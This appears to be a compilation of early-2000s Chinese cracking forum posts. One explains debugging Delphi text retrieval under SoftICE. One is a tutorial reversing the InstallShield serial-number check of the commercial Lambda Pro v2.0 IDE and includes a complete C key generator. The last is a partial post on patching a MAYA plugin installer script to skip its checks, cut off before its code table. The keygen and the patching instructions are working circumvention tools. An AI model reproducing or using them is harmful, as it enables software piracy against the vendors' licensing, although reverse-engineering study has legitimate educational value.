constructor TControl.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FWindowProc := WndProc;
......
end;
//----------------------------------------------------------------------------------------------------

WndProc( )是个virtual函数。TEdit和TCustomEdit未重载这个函数，而TWinControl重载了这个函数，但它并未处理WM_GETTEXT消息，而是直接把该消息传递给了父类的函数TControl.WndProc( )。

//----------------------------------------------------------------------------------------------------
procedure TWinControl.WndProc(var Message: TMessage);
var
Form: TCustomForm;
KeyState: TKeyboardState;
WheelMsg: TCMMouseWheel;
begin
......
inherited WndProc(Message);
end;

//----------------------------------------------------------------------------------------------------

TControl.WndProc( )直接用Dispatch( )来分发该消息。

//----------------------------------------------------------------------------------------------------
procedure TControl.WndProc(var Message: TMessage);
var
Form: TCustomForm;
begin
......
Dispatch(Message);
end;

//----------------------------------------------------------------------------------------------------------

由于WM_GETTEXT在TEdit中没有对应的专门的处理函数，所以Dispatch( )最终会调用TEdit.DefaultHandler( )，这个方法是从TCustomEdit继承来的，如此层层向上往父类分发，直到TControl.DefaultHandler( )对WM_GETTEXT消息进行了处理，它只是简单地把TControl的私有变量FText拷贝到软件提供的缓冲区中，所用到的函数只有StrLen( )、StrLCopy( )。

//----------------------------------------------------------------------------------------------------------
procedure TControl.DefaultHandler(var Message);
var
P: PChar;
begin
with TMessage(Message) do
case Msg of
WM_GETTEXT:
begin
if FText <> nil then P := FText else P := '';
Result := StrLen(StrLCopy(PChar(LParam), P, WParam - 1));
end;
WM_GETTEXTLENGTH:
if FText = nil then Result := 0 else Result := StrLen(FText);
WM_SETTEXT:
begin
P := StrNew(PChar(LParam));
StrDispose(FText);
FText := P;
SendDockNotification(Msg, WParam, LParam);
end;
end;
end;
//----------------------------------------------------------------------------------------------------------

看一下sysutils.pas中的StrLen( )、StrLCopy( )函数的实现，是用汇编写的，没有调用任何API函数。这就说明从进入TControl.GetText( )开始，一直到WM_GETTEXT成功返回为止，没有调用过任何Win32 API函数。所以常用的GetDlgItemTextA、GetWindowTextA断点不生效是当然的。

//----------------------------------------------------------------------------------------------------------
function StrLen(const Str: PChar): Cardinal; assembler;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
MOV EAX,0FFFFFFFEH
SUB EAX,ECX
MOV EDI,EDX
end;

function StrLCopy(Dest: PChar; const Source: PChar; MaxLen: Cardinal): PChar; assembler;
asm
PUSH EDI
PUSH ESI
PUSH EBX
MOV ESI,EAX
MOV EDI,EDX
MOV EBX,ECX
XOR AL,AL
TEST ECX,ECX
JZ @@1
REPNE SCASB
JNE @@1
INC ECX
@@1: SUB EBX,ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,EDI
MOV ECX,EBX
SHR ECX,2
REP MOVSD
MOV ECX,EBX
AND ECX,3
REP MOVSB
STOSB
MOV EAX,EDX
POP EBX
POP ESI
POP EDI
end;
//-------------------------------------------------------------------------------------------------------

那么如何才能在VCL将用户输入的字符串拷贝到软件的缓冲区中时使SoftICE弹出来呢？一种办法是先在软件的内存中搜索StrLCopy( )这个函数的机器码（即其Signature），找到之后在其入口处设个断点即可。实际上，你也可以在TControl.DefaultHandler( )、TControl.GetText( )等函数的入口处设断点，只要VCL在获取TEdit.Text的过程中调用了该函数，当然调用的次数越少越好。

另外一种方法就是跟踪FText何时被赋值，实际上就在上面的WM_SETTEXT处。

blowfish


Lambda Pro v2.0

 标 题:Lambda Pro v2.0安装序列号破解(1) (16千字)
发信人:FiNALSErAPH
时 间:2001-12-8 5:05:41
详细信息:
 /////////////////////////////////////////////////////////////////////
//
//  目标软件：Lambda Pro
//
//  软件版本：v2.0-MAC-Limit-DEMO-0724
//
//  官方网站：http://www.coretek.com.cn/
//
//  软件授权：商用软件
//
//  操作系统：Win95/98/ME、WinNT/2000
//
//  软件简介：
//
//  中国拥有自己知识产权的实时操作系统 - Delta OS的IDE。因为是简体中文
//
//  软件，个人觉得很适合于初学实时操作系统(RTOS)的人们作为学习参考。
//
//  软件保护：IntsallShield v6.x序列号保护(此序列号与网卡MAC地址有关)
//
/////////////////////////////////////////////////////////////////////
//
//  使用工具：InstallShield Decompiler v1.00 beta 7
//            (用于反汇编SETUP.INX脚本文件)
//
//            Borland C++ v3.1
//            (用于编写序列号生成器)
//
//            Our Brain...:-)
//
/////////////////////////////////////////////////////////////////////
//
//  关于本文：本文主要目的在于教学，让初学者掌握InstallShoeld序列号分
//
//            析的一般方法，所以找了这个很不常见的软件...请勿将此教程
//
//            用于商业目的。
//
//
          Always Your Best Friend: FiNALSErAPH
//
//  水平有限，难免疏漏...
//
//  Any Question?
//  Mail To: FiNALSErAPH@yahoo.com.cn
//
//

              2001-12-04
//
/////////////////////////////////////////////////////////////////////
//
//  第一部分：脚本分析
//
/////////////////////////////////////////////////////////////////////
//
//  ISD SETUP.INX SETUP.TXT -O -E
//  (将SETUP.INX反编译并将结果输出至SETUP.TXT文件)
//
/////////////////////////////////////////////////////////////////////
function program()
begin
/* 000055A5: 0006 */    g_str27 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

/* 000055D3: 0006 */    g_str28 = "YW9KV8IU7MT6DS5NQ4AP3LJ2EH1RG0OFZCBX";

/* 00005601: 0021 */    function_22();
//将安装目录下的TEST_001.EXE文件拷贝到C:\并重命名
//为GETMAC.EXE。执行C:\GETMAC.EXE(获取网卡MAC地址)
//生成C:\MACINFO.TXT(里面就是网卡的物理地址)
//在安装正常完成后这些文件会被删除

/* 00005607: 0021 */    function_184(12);

/* 00005612: 0021 */    function_10();

/* 00005618: 0021 */    function_8();

/* 0000561E: 0021 */    function_9();

/* 00005624: 0006 */    g_number28 = 0;

/* 00005630: 0021 */    function_1();
//密码验证程序入口
.
.
.
end;
/////////////////////////////////////////////////////////////////////
// : Call Referenced(1):
// :  00005630,
function NUMBER function_1()
NUMBER n0;
NUMBER n1;
begin

// : Jump Referenced(1):
// :  00005A82,
label_13:
/* 00005A4F: 0021 */    function_23();
//从C:\MACINFO.TXT中获取网卡信息备用

// : Jump Referenced(1):
// :  00005AB8,
label_14:
/* 00005A57: 0021 */    function_11();
//显示欢迎画面
/* 00005A5D: 0006 */    n0 = LAST_RESULT;
/* 00005A67: 000D */    n1 = n0 == 12;
/* 00005A76: 0004 */    if(! n1) goto label_15;
/* 00005A82: 0005 */    goto label_13;

// : Jump Referenced(2):
// :  00005A76, 00005AEE,
label_15:
/* 00005A8D: 0021 */    function_12();
//显示版权信息
/* 00005A93: 0006 */    n0 = LAST_RESULT;
/* 00005A9D: 000D */    n1 = n0 == 12;
/* 00005AAC: 0004 */    if(! n1) goto label_16;
/* 00005AB8: 0005 */    goto label_14;

// : Jump Referenced(3):
// :  00005AAC, 00005B3F, 00005B83,
label_16:
/* 00005AC3: 0021 */    function_13();
//获取用户输入的序列号(赋给g_str16)
/* 00005AC9: 0006 */    n0 = LAST_RESULT;
/* 00005AD3: 000D */    n1 = n0 == 12;
/* 00005AE2: 0004 */    if(! n1) goto label_17;
/* 00005AEE: 0005 */    goto label_15;

// : Jump Referenced(1):
// :  00005AE2,
label_17:
/* 00005AF9: 000D */    n1 = n0 == 1;
/* 00005B08: 0004 */    if(! n1) goto label_18;
/* 00005B14: 0021 */    function_24();
//序列号验证程序的核心部分(即算法验证部分)
/* 00005B1A: 0006 */    n1 = LAST_RESULT;
/* 00005B24: 000D */    n1 = n1 == 1;
/* 00005B33: 0004 */    if(! n1) goto label_18;
/* 00005B3F: 0005 */    goto label_16;
//输入序列号错误则陷入循环
.
.
.
end;
/////////////////////////////////////////////////////////////////////
// : Call Referenced(1):
// :  00005B14,
function NUMBER function_24()
STRING s0;
STRING s1[13];
STRING s2;
NUMBER n0;
NUMBER n1;
NUMBER n2;
NUMBER n3;
NUMBER n4;
NUMBER n5;
NUMBER n6;
NUMBER n7;
NUMBER n8;
begin
/* 00007036: 0006 */    s2 = g_str16;
/* 00007040: 0021 */    function_455(s2);
/* 00007049: 0006 */    n7 = LAST_RESULT;
/* 00007053: 000E */    n7 = n7 != 52;
/* 00007062: 0004 */    if(! n7) goto label_82;
/* 0000706E: 0021 */    function_304("Invalid serial number!", -65535);
/* 00007092: 0027 */    // -- Start Return Code -- //
/* 00007096: 0023 */    return 1;
//判断输入的序列号是否为52位

// : Jump Referenced(1):
// :  00007062,
label_82:
/* 000070A1: 0006 */    n0 = 0;

// : Jump Referenced(1):
// :  00007106,
label_83:
/* 000070AF: 000B */    n7 = n0 <= 51;
/* 000070BE: 0004 */    if(! n7) goto label_84;
/* 000070CA: 001E */    n7 = s2[n0];
/* 000070D7: 0021 */    function_18(n7);
/* 000070E0: 0006 */    n7 = LAST_RESULT;
/* 000070EA: 001D */    s2[n0] = n7;
/* 000070F7: 0007 */    n0 = n0 + 1;
/* 00007106: 0005 */    goto label_83;
//将输入序列号中的小写字母全部换成大写字母

// : Jump Referenced(1):
// :  000070BE,
label_84:
/* 00007111: 001E */    n7 = s2[0];
/* 00007120: 000C */    n7 = n7 >= 48;
/* 0000712F: 001E */    n8 = s2[0];
/* 0000713E: 000B */    n8 = n8 <= 52;
/* 0000714D: 0019 */    n7 = n7 && n8;
/* 0000715A: 0004 */    if(! n7) goto label_85;
/* 00007166: 0006 */    g_str28 = "YW9KV8IU7MT6DS5NQ4AP3LJ2EH1RG0OFZCBX";
/* 00007194: 0005 */    goto label_86;

// : Jump Referenced(1):
// :  0000715A,
label_85:
/* 0000719F: 0006 */    g_str28 = "IR6UQ5GP4MO3YN2SK1AJ0THZLFX9ECW8DBV7";

// : Jump Referenced(1):
// :  00007194,
label_86:
/* 000071CF: 0006 */    n0 = 1;
//根据输入的第一个字符选择“字符替换表”

// : Jump Referenced(1):
// :  00007244,
label_87:
/* 000071DD: 000B */    n7 = n0 <= 51;
/* 000071EC: 0004 */    if(! n7) goto label_88;
/* 000071F8: 001E */    n7 = s2[n0];
/* 00007205: 0021 */    function_19(g_str28, n7);
/* 00007211: 0006 */    n1 = LAST_RESULT;
/* 0000721B: 001E */    n7 = g_str27[n1];
/* 00007228: 001D */    s2[n0] = n7;
/* 00007235: 0007 */    n0 = n0 + 1;
/* 00007244: 0005 */    goto label_87;
//根据上面选择的“字符替换表”对输入字符串进行变换(注意：[00]不变，只变换[01] - [51])
//由g_str28确定位置 - >对应于g_str27的字符

// : Jump Referenced(1):
// :  000071EC,
label_88:
/* 0000724F: 0006 */    n2 = 1;
/* 0000725B: 0006 */    n1 = 49;

// : Jump Referenced(1):
// :  000073AE,
label_89:
/* 00007269: 000B */    n7 = n1 <= 51;
/* 00007278: 0004 */    if(! n7) goto label_93;
/* 00007284: 001E */    n7 = s2[n2];
/* 00007291: 0021 */    function_20(n7);
/* 0000729A: 0006 */    n3 = LAST_RESULT;
/* 000072A4: 0007 */    n0 = n2 + 1;
/* 000072B3: 0007 */    n7 = n2 + 15;

// : Jump Referenced(1):
// :  00007319,
label_90:
/* 000072C4: 000B */    n8 = n0 <= n7;
/* 000072D1: 0004 */    if(! n8) goto label_91;
/* 000072DD: 001E */    n8 = s2[n0];
/* 000072EA: 0021 */    function_20(n8);
/* 000072F3: 0006 */    n8 = LAST_RESULT;
/* 000072FD: 0014 */    n3 = n3 ^ n8;
/* 0000730A: 0007 */    n0 = n0 + 1;
/* 00007319: 0005 */    goto label_90;

// : Jump Referenced(1):
// :  000072D1,
label_91:
/* 00007324: 0021 */    function_21(n3);
/* 0000732D: 0006 */    n3 = LAST_RESULT;
/* 00007337: 001E */    n7 = s2[n1];
/* 00007344: 000E */    n7 = n3 != n7;
/* 00007351: 0004 */    if(! n7) goto label_92;
/* 0000735D: 0021 */    function_304("Invalid Serial Number!", -65535);
/* 00007381: 0027 */    // -- Start Return Code -- //
/* 00007385: 0023 */    return 1;

// : Jump Referenced(1):
// :  00007351,
label_92:
/* 00007390: 0007 */    n2 = n2 + 16;
/* 0000739F: 0007 */    n1 = n1 + 1;
/* 000073AE: 0005 */    goto label_89;
//对新生成的字符串进行初步校验
//[00]
//[01] [02] [03] [04] [05] [06] [07] [08] [09] [10] [11] [12] [13] [14] [15]
  [16]  -  [49]
//[17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31]
  [32]  -  [50]
//[33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47]
  [48]  -  [51]
//将[01] - [48]的字符分成3组：[01] - [16]，[17] - [32]，[33] - [48]
//分别作以下运算：
//将每一个字符进行变换(字符0 - 9 -> 数字0 - 9，字符A - F -> 数字10 - 15，字符G - Z ->其ASCII值)
//进行XOR -> 校验数 -> 字符
//校验数变换为字符规则(数字0 - 9 -> 字符0 - 9，数字10 - 15 -> 字符A - F，其他原样返回)
//然后与校验位比较，看是否相同。若相同则继续

// : Jump Referenced(1):
// :  00007278,
label_93:
/* 000073B9: 0006 */    n1 = 1;
/* 000073C5: 0006 */    n0 = 40;

// : Jump Referenced(1):
// :  00007426,
label_94:
/* 000073D3: 000B */    n7 = n0 <= 48;
/* 000073E2: 0004 */    if(! n7) goto label_95;
/* 000073EE: 001E */    n7 = s2[n0];
/* 000073FB: 001D */    s0[n1] = n7;
/* 00007408: 0007 */    n1 = n1 + 1;
/* 00007417: 0007 */    n0 = n0 + 1;
/* 00007426: 0005 */    goto label_94;

// : Jump Referenced(1):
// :  000073E2,
label_95:
/* 00007431: 0006 */    n0 = 1;

// : Jump Referenced(1):
// :  00007492,
label_96:
/* 0000743F: 000B */    n7 = n0 <= 39;
/* 0000744E: 0004 */    if(! n7) goto label_97;
/* 0000745A: 001E */    n7 = s2[n0];
/* 00007467: 001D */    s0[n1] = n7;
/* 00007474: 0007 */    n1 = n1 + 1;
/* 00007483: 0007 */    n0 = n0 + 1;
/* 00007492: 0005 */    goto label_96;

// : Jump Referenced(1):
// :  0000744E,
label_97:
/* 0000749D: 0006 */    n0 = 1;

// : Jump Referenced(1):
// :  000074EF,
label_98:
/* 000074AB: 000B */    n7 = n0 <= 48;
/* 000074BA: 0004 */    if(! n7) goto label_99;
/* 000074C6: 001E */    n7 = s0[n0];
/* 000074D3: 001D */    s2[n0] = n7;
/* 000074E0: 0007 */    n0 = n0 + 1;
/* 000074EF: 0005 */    goto label_98;
//对字符串进行“换位”，规则如下：
//[00]
//[01] [02] [03] [04] [05] [06] [07] [08] [09] [10] [11] [12] [13] [14] [15]
  [16]
//[17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31]
  [32]
//[33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47]
  [48]
//[49] [50] [51]
//
//变为
//
//[00]
//[40] [41] [42] [43] [44] [45] [46] [47] [48] [01] [02] [03] [04] [05] [06]
  [07]
//[08] [09] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22]
  [23]
//[24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38]
  [39]
//[49] [50] [51]

// : Jump Referenced(1):
// :  000074BA,
label_99:
/* 000074FA: 001E */    n7 = s2[1];
/* 00007509: 001D */    g_str24[0] = n7;
/* 00007518: 0006 */    n0 = 14;

// : Jump Referenced(1):
// :  00007579,
label_100:
/* 00007526: 000B */    n7 = n0 <= 32;
/* 00007535: 0004 */    if(! n7) goto label_101;
/* 00007541: 000F */    n7 = n0 - 13;
/* 00007550: 001E */    n8 = s2[n0];
/* 0000755D: 001D */    g_str24[n7] = n8;
/* 0000756A: 0007 */    n0 = n0 + 1;
/* 00007579: 0005 */    goto label_100;
//生成字符串g_str24，规则如下：
//[00]
//[01] [02] [03] [04] [05] [06] [07] [08] [09] [10] [11] [12] [13] [14] [15]
  [16]
//[17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31]
  [32]
//[33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47]
  [48]
//[49] [50] [51]
//
//[01] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27]
  [28]
//[29] [30] [31] [32]

// : Jump Referenced(1):
// :  00007535,
label_101:
/* 00007584: 0006 */    n0 = 0;

// : Jump Referenced(1):
// :  000075E5,
label_102:
/* 00007592: 000B */    n7 = n0 <= 14;
/* 000075A1: 0004 */    if(! n7) goto label_103;
/* 000075AD: 0007 */    n7 = n0 + 14;
/* 000075BC: 001E */    n7 = s2[n7];
/* 000075C9: 001D */    g_str25[n0] = n7;
/* 000075D6: 0007 */    n0 = n0 + 1;
/* 000075E5: 0005 */    goto label_102;
//生成字符串g_str25，规则如下：
//[00]
//[01] [02] [03] [04] [05] [06] [07] [08] [09] [10] [11] [12] [13] [14] [15]
  [16]
//[17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31]
  [32]
//[33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47]
  [48]
//[49] [50] [51]
//
//[14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28]

// : Jump Referenced(1):
// :  000075A1,
label_103:
/* 000075F0: 001E */    n7 = s2[29];
/* 000075FF: 0009 */    n7 = n7 < 50;
/* 0000760E: 001E */    n8 = s2[29];
/* 0000761D: 000A */    n8 = n8 > 57;
/* 0000762C: 0018 */    n7 = n7 || n8;
/* 00007639: 0004 */    if(! n7) goto label_104;
/* 00007645: 0021 */    function_304("Invalid serial number!", -65535);
/* 00007669: 0027 */    // -- Start Return Code -- //
/* 0000766D: 0023 */    return 1;
//继续校验：
//[00]
//[01] [02] [03] [04] [05] [06] [07] [08] [09] [10] [11] [12] [13] [14] [15]
  [16]
//[17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31]
  [32]
//[33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47]
  [48]
//[49] [50] [51]
//
//[29]必须为字符2 - 9

// : Jump Referenced(1):
// :  00007639,
label_104:
/* 00007678: 001E */    n7 = s2[31];
/* 00007687: 0021 */    function_20(n7);
/* 00007690: 0006 */    n3 = LAST_RESULT;
/* 0000769A: 0016 */    n3 = n3 << 4;
/* 000076A9: 001E */    n7 = s2[32];
/* 000076B8: 0021 */    function_20(n7);
/* 000076C1: 0006 */    n7 = LAST_RESULT;
/* 000076CB: 0013 */    n3 = n3 | n7;
/* 000076D8: 0012 */    n4 = n3 & 1;
/* 000076E7: 000D */    n7 = n4 == 0;
/* 000076F6: 0004 */    if(! n7) goto label_105;
/* 00007702: 0021 */    function_304("Invalid serial number!", -65535);
/* 00007726: 0027 */    // -- Start Return Code -- //
/* 0000772A: 0023 */    return 1;
//继续校验：
//[00]
//[01] [02] [03] [04] [05] [06] [07] [08] [09] [10] [11] [12] [13] [14] [15]
  [16]
//[17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31]
  [32]
//[33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47]
  [48]
//[49] [50] [51]
//
//[31]进行变换(字符0 - 9 -> 数字0 - 9，字符A - F -> 数字10 - 15，字符G - Z ->其ASCII值)
//结果 *16
//与
//[32]进行变换(字符0 - 9 -> 数字0 - 9，字符A - F -> 数字10 - 15，字符G - Z ->其ASCII值)
//结果 按位或
//最低位必须为1
//
//下面的校验已转为明文，即MAC字符串为最后生成的52位字符串的前12位，详见注册机程序

// : Jump Referenced(1):
// :  000076F6,
label_105:
/* 00007735: 0021 */    function_347(g_number33, s1);
/* 00007741: 0006 */    n6 = LAST_RESULT;

// : Jump Referenced(1):
// :  0000786B,
label_106:
/* 0000774D: 0001 */    // -- While -- //
/* 00007751: 000D */    n7 = n6 == 0;
/* 00007760: 0004 */    if(! n7) goto label_111;
/* 0000776C: 0006 */    n0 = 0;
/* 00007778: 0006 */    n5 = 1;

// : Jump Referenced(1):
// :  00007820,
label_107:
/* 00007786: 0001 */    // -- While -- //
/* 0000778A: 000D */    n7 = n5 == 1;
/* 00007799: 0009 */    n8 = n0 < 12;
/* 000077A8: 0019 */    n7 = n7 && n8;
/* 000077B5: 0004 */    if(! n7) goto label_109;
/* 000077C1: 0007 */    n7 = n0 + 2;
/* 000077D0: 001E */    n7 = s2[n7];
/* 000077DD: 001E */    n8 = s1[n0];
/* 000077EA: 000E */    n7 = n7 != n8;
/* 000077F7: 0004 */    if(! n7) goto label_108;
/* 00007803: 0006 */    n5 = 0;

// : Jump Referenced(1):
// :  000077F7,
label_108:
/* 00007811: 0007 */    n0 = n0 + 1;
/* 00007820: 0005 */    goto label_107;

// : Jump Referenced(1):
// :  000077B5,
label_109:
/* 0000782B: 000D */    n7 = n5 == 1;
/* 0000783A: 0004 */    if(! n7) goto label_110;
/* 00007846: 0027 */    // -- Start Return Code -- //
/* 0000784A: 0023 */    return 0;

// : Jump Referenced(1):
// :  0000783A,
label_110:
/* 00007855: 0021 */    function_349(g_number33, s1);
/* 00007861: 0006 */    n6 = LAST_RESULT;
/* 0000786B: 0005 */    goto label_106;

// : Jump Referenced(1):
// :  00007760,
label_111:
/* 00007876: 000D */    n7 = n5 == 0;
/* 00007885: 0004 */    if(! n7) goto label_112;
/* 00007891: 0021 */    function_304("Invalid Serial Number!", -65535);
/* 000078B5: 0027 */    // -- Start Return Code -- //
/* 000078B9: 0023 */    return 1;

// : Jump Referenced(1):
// :  00007885,
label_112:
/* 000078C4: 0027 */    // -- Start Return Code -- //
/* 000078C8: 0023 */    return 0;
end;
/////////////////////////////////////////////////////////////////////
//
//  第二部分：序列号生成器
//
//  为了便于初学者学习，全部使用数组，只需有一点C的基础...:-)
//
//  另：MACINFO.TXT可执行TEST_001.EXE获得
//
/////////////////////////////////////////////////////////////////////
/*-------------------------------------------------------------*/
/*
    某某研究所
        */
/*

                  */
/*                  版权所有(C) 19xx
  - 2001
  */
/*-------------------------------------------------------------*/
/*                  实时操作系统 - 辅助程序
                    */
/*

                  */
/*              REAL TIME OPERATING SYSTEM
  (RTOS)              */
/*-------------------------------------------------------------*/
/*

                  */
/*-------------------------------------------------------------*/
/*              文件名    :
    KeyGen.C
    */
/*                描述    :
    Lambda Pro v2.0安装序列号    */
/*
            生成器。
          */
/*            创建日期    :
  2001-08-13                  */
/*        最后修改日期    :    2001-08-13
                  */
/*              编制人    :
    FiNALSErAPH
  */
/*-------------------------------------------------------------*/
/*

                  */
/*-------------------------------------------------------------*/
/*  修改号  日期        修改人    修改描述
                  */
/*-------------------------------------------------------------*/
/*  初始版本 2001-08-13    HZH      这是整理后的改写版添加
    */
/*
              了注释，比较易懂
    */
/*-------------------------------------------------------------*/
/*  头文件段

            */
/*-------------------------------------------------------------*/
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <process.h>
#include <dos.h>
#include <time.h>
/*-------------------------------------------------------------*/
/*  数据定义段

          */
/*-------------------------------------------------------------*/
FILE *InMacInfo;
FILE *OutSerial;

int iCount = 0;
int iTemp = 0;

char cTable0[36] = {'A','B','C','D','E','F','G','H','I','J','K','L',
'M','N','O','P','Q','R','S','T','U','V','W','X',
'Y','Z','0','1','2','3','4','5','6','7','8','9'};
char cTable1[36] = {'Y','W','9','K','V','8','I','U','7','M','T','6',
'D','S','5','N','Q','4','A','P','3','L','J','2',
'E','H','1','R','G','0','O','F','Z','C','B','X'};
char cTable2[36] = {'I','R','6','U','Q','5','G','P','4','M','O','3',
'Y','N','2','S','K','1','A','J','0','T','H','Z',
'L','F','X','9','E','C','W','8','D','B','V','7'};
char cTarget[36];
/*-------------------------------------------------------------*/
/*  内部函数调用声明段

  */
/*-------------------------------------------------------------*/
void vCopyRightMsg(void);
void vKeyGenerate(void);
void vWaitFor(void);
char cCharToNum(char cInput);
char cNumToChar(char cInput);
int iCheckLocation(char cInput);
/*-------------------------------------------------------------*/
/*  代码段

            */
/*-------------------------------------------------------------*/
void main(void)
{
vCopyRightMsg();
vWaitFor();
vKeyGenerate();
}

void vCopyRightMsg(void)
{
printf("+----------------------------------------+\n");
printf("|  LambdaPro v2.0-MAC-Limit-DEMO-0724  |\n");
printf("|      Install Key Generator v1.0.1
    |\n");
printf("|        =- Proudly  Present -=
        |\n");
printf("|              2001-08-14
              |\n");
printf("|              FiNAL SErAPH
              |\n");
printf("+----------------------------------------+\n");
printf("\n");
}

void vKeyGenerate()
{
//安装序列号生成算法 - 开始

//从MACINFO.TXT中提取信息
if((InMacInfo = fopen("MACINFO.TXT","r")) == NULL)
{
printf("Can't Open \"MACINFO.TXT\"!\n");
exit(0);
}

char cMacInfo[12];
fgets(cMacInfo,13,InMacInfo);
fclose(InMacInfo);

//字符转为数字
for(iCount = 0;iCount < 12;iCount++)
{
cMacInfo[iCount] = cCharToNum(cMacInfo[iCount]);
}

//随机生成长度为52的数字串
char cOutSerial[52];
srand(time(NULL));
iCount = 0;
while(iCount < 52)
{
cOutSerial[iCount] = rand()%16;
iCount++;
}

//将网卡MAC地址插入长度为52的数字串中
for(iCount = 0;iCount < 12;iCount++)
{
cOutSerial[iCount + 2] = cMacInfo[iCount];
}

//使长度为52的数字串满足两种校验条件
//1 - 控制[29]在 2 - 9之间
iTemp = rand()%10;
if(iTemp < 2)
{
iTemp = 9 - iTemp;
}
cOutSerial[29] = iTemp;
//2
cOutSerial[31] = 0;
cOutSerial[32] = 1;

//调整长度为52的数字串中48位的顺序
char cTemp[9];
for(iCount = 0;iCount < 9;iCount++)
{
cTemp[iCount]= cOutSerial[iCount+1];
}
for(iCount = 1;iCount < 40;iCount++)
{
cOutSerial[iCount] = cOutSerial[iCount+9];
}
for(iCount = 0;iCount < 9;iCount++)
{
cOutSerial[iCount+40] = cTemp[iCount];
}

//调整3个校验位
//1
iTemp = cOutSerial[1];
for(iCount = 2;iCount < 17;iCount++)
{
iTemp = iTemp ^ cOutSerial[iCount];
}
cOutSerial[49] = iTemp;
//2
iTemp = cOutSerial[17];
for(iCount = 18;iCount < 33;iCount++)
{
iTemp = iTemp ^ cOutSerial[iCount];
}
cOutSerial[50] = iTemp;
//3
iTemp = cOutSerial[33];
for(iCount = 34;iCount < 49;iCount++)
{
iTemp = iTemp ^ cOutSerial[iCount];
}
cOutSerial[51] = iTemp;

//将长度为52的数字串转为字符串
for(iCount = 0;iCount < 52;iCount++)
{
cOutSerial[iCount] = cNumToChar(cOutSerial[iCount]);
}

//根据字符替换表生成最终序列号，输出结果到屏幕
if((cOutSerial[0] >= '0') && (cOutSerial[0] <= '4'))
{
for(iCount = 0;iCount < 36;iCount++)
{
cTarget[iCount] = cTable1[iCount];
}
}
else
{
for(iCount = 0;iCount < 36;iCount++)
{
cTarget[iCount] = cTable2[iCount];
}
}

printf("Your Install Key:\n\n");
printf("%c",cOutSerial[0]);
for(iCount = 1;iCount < 52;iCount++)
{
cOutSerial[iCount] = cTarget[iCheckLocation(cOutSerial[iCount])];
printf("%c",cOutSerial[iCount]);
}

//输出结果到文件
if((OutSerial = fopen("SERIAL.TXT","w+")) == NULL)
{
printf("I Can't Create File \"SERIAL.TXT\" !!!\n");
exit(0);
}
for(iCount = 0;iCount < 52;iCount++)
{
fputc(cOutSerial[iCount],OutSerial);
}
fclose(OutSerial);
//安装序列号生成算法 - 结束

}

void vWaitFor(void)
{
delay(300);
printf("Please wait");
for(int i = 0;i < 6;i++)
{
printf(".");
delay(400);
}
printf("\n\n");
}

char cCharToNum(char cInput)
{
char cOutput;
if((cInput >= '0') && (cInput <= '9'))
{
cOutput = cInput - 48;
}
if((cInput >= 'A') && (cInput <= 'F'))
{
cOutput = cInput - 55;
}
if((cInput >= 'a') && (cInput <= 'f'))
{
cOutput = cInput - 87;
}
return(cOutput);
}

char cNumToChar(char cInput)
{
char cOutput;
if((cInput >= 0) && (cInput <= 9))
{
cOutput = cInput + 48;
}
if((cInput >= 10) && (cInput <= 15))
{
cOutput = cInput + 55;
}
return(cOutput);
}

int iCheckLocation(char cInput)
{
for(int i = 0;i < 36;i++)
{
if(cInput == cTable0[i])
{
return(i);
}
}
return(-1);
}


MAYA 4.x 插件

 标 题:MAYA4.x中英文双语菜单插件b1版 破解 (3千字)
发信人:boolking
时 间:2002-2-12 21:13:19
详细信息:
小弟我初出茅庐，请多指教。
前几日从http://mayacn.363.net/下载了一个“MAYA4.x中英文双语菜单插件b1版”，本想试用一下，可是一安装，竟然不能继续。可恶，那我岂不是白白下载了半天，要知道这个东东可有近5m，可怜我在家用56k的小猫下了20多分钟。看来我要自己动手把它搞定了。
从安装文件看，只有一个setup.exe，运行后似乎是解压了一些文件，到系统的临时文件夹看看，果然被我找到，在C:\Documents and Settings\Administrator\Local Settings\Temp（win2k），原来是用installshield做的，前几日才买了看雪大哥的《加密和解密》，正好派上用场。
从安装文件来看，有setup.inx，应该是用6.x版做的，用wisdec打开失败，果然没错。看来只好用i6comp强行解压了，ok，解压成功。将解压后的script目录copy到d:\aw\maya\覆盖掉原先的（记住要先备份旧的）。试用后觉得实在不太好用，就把它删掉了。
才从书上学了几招，一点用场没派上，真是心有不甘。
想到书上说可以用一个日本人写的工具isextr将setup.inx反编译，于是就想试试看。运行isextr得到一个反编译后的文件isd_dec.txt，有点大，不过不要紧，还比较容易懂，记得不久前在www.driverdevelop.com下了一篇installshield的教程，现学现卖，大概看懂了它的内容。只用修改几个条件判断语句就行了。这才想起并没有能将setup.inx还原的工具。
俗话说的好：“自己动手，丰衣足食”。
记得看雪大哥书中说installshield是伪编译，于是用ultraedit打开setup.inx和反编译的文件比较，还真被我看出点眉目来。反编译的文件中每行最左被注释掉的部分和setup.inx中相应位置的16进制代码相同，看来改掉setup.inx中的相应位就可以达到目的。
再仔细查看，发现setup.inx伪编译代码似乎是采用四元式（或三元式）的形式，这样就只需改掉第一位的代码即可。从反编译代码看出“0009”为“<”的编码值。依此类推，得出要修改的代码。
常见的编码如下表：
